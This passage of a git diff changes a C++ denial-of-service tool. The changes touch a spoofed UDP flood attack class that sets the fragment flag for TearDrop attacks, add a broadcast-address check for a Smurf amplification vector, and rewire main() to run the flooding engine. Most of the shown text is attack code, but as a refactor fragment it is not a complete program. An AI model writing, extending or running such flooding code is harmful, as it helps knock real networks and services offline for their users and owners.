pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header) , udp , sizeof(struct udphdr) + strlen(buf)); @@ -67,24 +73,26 @@ void Spoofed_UDP_Flood::attack(const int *id) { }else{ message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } + + delete pseudogram; } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } -Spoofed_UDP_Flood::Spoofed_UDP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { +Spoofed_UDP_Flood::Spoofed_UDP_Flood(std::shared_ptr conf) : Spoofed_Flood(std::move(conf)) { } void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { switch(conf->vector){ - case config::TearDrop: + case Config::TearDrop: ip->frag_off |= htons(0x2000); break; default:break; @@ -92,7 +100,7 @@ void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { } void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { - auto s_port = Randomizer::randomPort(); + auto s_port = conf->RandomizePort ? Randomizer::randomPort() : 0; // IP Struct ip->ihl = 5; ip->version = 4; diff --git a/Sources/Validator.cpp b/Sources/Validator.cpp index 9371101..ba07b1b 100755 --- a/Sources/Validator.cpp +++ b/Sources/Validator.cpp @@ -1,11 +1,11 @@ #include #include - +#include #include "../Headers/Validator.hpp" Validator::Validator() = default; -Validator::Validator(const config *conf) : conf{conf} { +Validator::Validator(std::shared_ptr conf) : conf{std::move(conf)} { } @@ -29,10 +29,20 @@ bool Validator::isValidConfig() { } bool Validator::Validate() { - return isValidConfig() && isValidWebsite() && isValidPort(); + switch(conf->vector){ + case Config::Smurf: + return isValidConfig() && isValidWebsite() && isValidPort() && isValidBroadcast(); + default: + return isValidConfig() && isValidWebsite() && isValidPort(); + } } bool Validator::isValidHostname(){ hostent *record = gethostbyname(conf->website.c_str()); return record != nullptr; } + +bool Validator::isValidBroadcast() { + struct sockaddr_in sa{}; + return static_cast(inet_pton(AF_INET, conf->website.c_str(), &(sa.sin_addr))); +} diff --git a/main.cpp b/main.cpp index a2ae257..4c356db 100755 --- a/main.cpp +++ b/main.cpp @@ -1,6 +1,7 @@ #include #include #include +#include #include "Headers/Parser.hpp" const pid_t m_pid = getpid(); @@ -17,24 +18,27 @@ void broke(int){ // pass } -int main(const int argc, const char *argv[]) { +void init_signals(){ signal(SIGINT, &exiting); signal(SIGABRT, &exiting); signal(SIGTERM, &exiting); signal(SIGTSTP, &exiting); signal(SIGPIPE, &broke); +} + +int main(const int argc, const char *argv[]) { + init_signals(); Parser::show_banner(); - config conf{}; - Logger logger{Logger::Info}; - Parser parser{&conf, &logger}; - parser.parse_commandline(argc, argv); - Validator validator(&conf); - if(validator.Validate()){ - Doser doser(&conf, &logger); - doser.run(); + auto config = std::make_shared(); + auto parser = std::make_unique(config); + parser->parse_commandline(argc, argv); + auto validator = std::make_unique(config); + if(validator->Validate()){ + auto engine = std::make_unique(config); + engine->run(); }else{ - logger.Log("Invalid Configuration", logger.Error); + config->logger->Log("Invalid Configuration", Logger::Error); Parser::help(); }